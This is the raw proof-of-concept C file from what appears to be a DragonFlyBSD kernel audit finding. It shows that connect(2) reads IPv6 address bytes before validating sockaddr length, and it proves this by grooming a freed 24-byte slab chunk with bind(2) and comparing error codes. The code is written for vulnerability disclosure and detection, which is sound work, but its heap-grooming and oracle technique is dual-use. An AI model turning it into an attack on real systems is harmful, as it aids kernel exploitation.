⬢ DragonFlyBSD Kernel Audit
DF-3415 / in6_v4mapped_oob.c
← back to finding ↓ download raw
/*
 * DF-3415 -- in6_pcbconnect() reads sin6_addr before sa_len validation
 *           (DF-3357/DF-3372 sockaddr read-before-validate family, v6 twin)
 *
 * Victim path (per-packet flow):
 *   connect(2) -> getsockaddr(): sa = kmalloc(len, M_SONAME)   [EXACT len,
 *                 len in [2..255], user bytes copied over bytes 0..len-1,
 *                 sa->sa_len = len]
 *   -> soconnect -> so_pru_connect -> (netisr) udp6_connect()
 *        udp6_usrreq.c:596  IN6_IS_ADDR_V4MAPPED(&sin6_p->sin6_addr)  <- reads
 *                                                                    bytes 8..23
 *   -> in6_pcbconnect()
 *        sys/netinet6/in6_pcb.c:344  IN6_IS_ADDR_V4MAPPED(&sin6->sin6_addr)
 *                                     ^^^ reads sin6_addr (file offsets 8..23)
 *                                         BEFORE in6_pcbladdr() validates
 *                                         nam->sa_len == 28 (in6_pcb.c:282)
 *
 * IN6_IS_ADDR_V4MAPPED(a) tests (bytes at file offsets 8..19):
 *     bytes  8..11 == 0, bytes 12..15 == 0, bytes 16..19 == 00 00 ff ff
 *
 * Slab mechanics (sys/kern/kern_slaballoc.c):
 *   zoneindex(): sizes 17..24 all round to the 24-byte chunk zone.
 *   kfree() (local cpu) only writes chunk->c_Next (bytes 0..7) and pushes the
 *   chunk onto the per-zone LIFO list z_LChunks; bytes 8..23 survive.
 *   => bind() with a 24-byte sockaddr allocates and frees a 24-byte M_SONAME
 *      chunk on the syscall thread; an immediately following connect() with a
 *      17-byte sockaddr gets the SAME chunk, and its bytes 17..23 are stale
 *      groom bytes that were never part of the user-supplied sockaddr.
 *
 * Oracle:
 *   A) groom bytes 17..19 = 00 ff ff  -> v4-mapped pattern completes ->
 *      connect() returns EADDRNOTAVAIL (decided by OOB-read stale bytes)
 *   B) groom bytes 17..19 = 00 00 00  -> pattern broken -> sa_len check in
 *      in6_pcbladdr() finally runs -> EINVAL
 *   A and B differ ONLY in heap bytes that lie OUTSIDE the 17-byte sockaddr
 *   the user handed to connect().  A==EADDRNOTAVAIL / B==EINVAL proves the
 *      kernel consumed out-of-bounds heap bytes before validating sa_len.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#define RUNS 20

static int do_round(unsigned char g17, unsigned char g18, unsigned char g19,
		    int groom)
{
	unsigned char sa24[24], sa17[17];
	int s, r;

	/* groom chunk: 24-byte sockaddr (24 and 17 share the 24-byte zone) */
	memset(sa24, 0, sizeof(sa24));
	sa24[0] = 24;			/* overwritten by getsockaddr anyway */
	sa24[1] = AF_INET6;
	/* v4-mapped completion bytes live at offsets 17..19: outside the
	 * 17-byte trigger sockaddr, inside the 24-byte groom sockaddr */
	sa24[17] = g17; sa24[18] = g18; sa24[19] = g19;

	/* trigger chunk: 17-byte sockaddr; user controls bytes 0..16 only */
	memset(sa17, 0, sizeof(sa17));
	sa17[0] = 17;
	sa17[1] = AF_INET6;		/* bytes 8..16 left 0x00 */

	s = socket(AF_INET6, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("socket");
		return -1;
	}
	if (groom) {
		/* udp6_bind/in6_pcbbind reject it (bad sa_len / v4-mapped);
		 * all that matters: the M_SONAME chunk is freed in-thread */
		(void)bind(s, (struct sockaddr *)sa24, 24);
	}
	errno = 0;
	r = connect(s, (struct sockaddr *)sa17, 17);
	if (r == 0) {
		close(s);
		return 0;		/* succeeded (no error) */
	}
	close(s);
	return errno;
}

int main(void)
{
	int i, e;
	int a_mapped = 0, a_einval = 0, a_other = 0;
	int b_mapped = 0, b_einval = 0, b_other = 0;
	int c_mapped = 0, c_einval = 0, c_other = 0;

	printf("AF_INET6=%d SOCK_DGRAM=%d RUNS=%d\n", AF_INET6, SOCK_DGRAM, RUNS);
	printf("bytes 17..19 of sin6_addr are past the 17-byte sockaddr that\n"
	       "connect(2) copied in; they come from a freed 24-byte M_SONAME\n"
	       "chunk groomed by the preceding bind(2).\n\n");

	for (i = 0; i < RUNS; i++) {
		e = do_round(0x00, 0xff, 0xff, 1);	/* mapped pattern */
		if (e == EADDRNOTAVAIL) a_mapped++;
		else if (e == EINVAL) a_einval++;
		else a_other++;
		if (i == 0) printf("A(groom 00 ff ff) first errno=%d (%s)\n",
				  e, e > 0 ? strerror(e) : "SUCCESS");

		e = do_round(0x00, 0x00, 0x00, 1);	/* pattern broken */
		if (e == EADDRNOTAVAIL) b_mapped++;
		else if (e == EINVAL) b_einval++;
		else b_other++;
		if (i == 0) printf("B(groom 00 00 00) first errno=%d (%s)\n",
				  e, e > 0 ? strerror(e) : "SUCCESS");

		e = do_round(0, 0, 0, 0);		/* no groom */
		if (e == EADDRNOTAVAIL) c_mapped++;
		else if (e == EINVAL) c_einval++;
		else c_other++;
		if (i == 0) printf("C(no groom)      first errno=%d (%s)\n",
				  e, e > 0 ? strerror(e) : "SUCCESS");
	}

	printf("\nsummary over %d rounds per variant:\n", RUNS);
	printf("  A groom 00 ff ff : EADDRNOTAVAIL=%d EINVAL=%d other=%d\n",
	       a_mapped, a_einval, a_other);
	printf("  B groom 00 00 00 : EADDRNOTAVAIL=%d EINVAL=%d other=%d\n",
	       b_mapped, b_einval, b_other);
	printf("  C no groom       : EADDRNOTAVAIL=%d EINVAL=%d other=%d\n",
	       c_mapped, c_einval, c_other);

	if (a_mapped > 0 && b_einval > 0 && a_mapped > b_mapped) {
		printf("\nRESULT: VULNERABLE -- connect(2) error code is chosen "
		       "by heap bytes OUTSIDE the supplied sockaddr length "
		       "(read before sa_len validation).\n");
		return 0;
	}
	printf("\nRESULT: no differential observed.\n");
	return 2;
}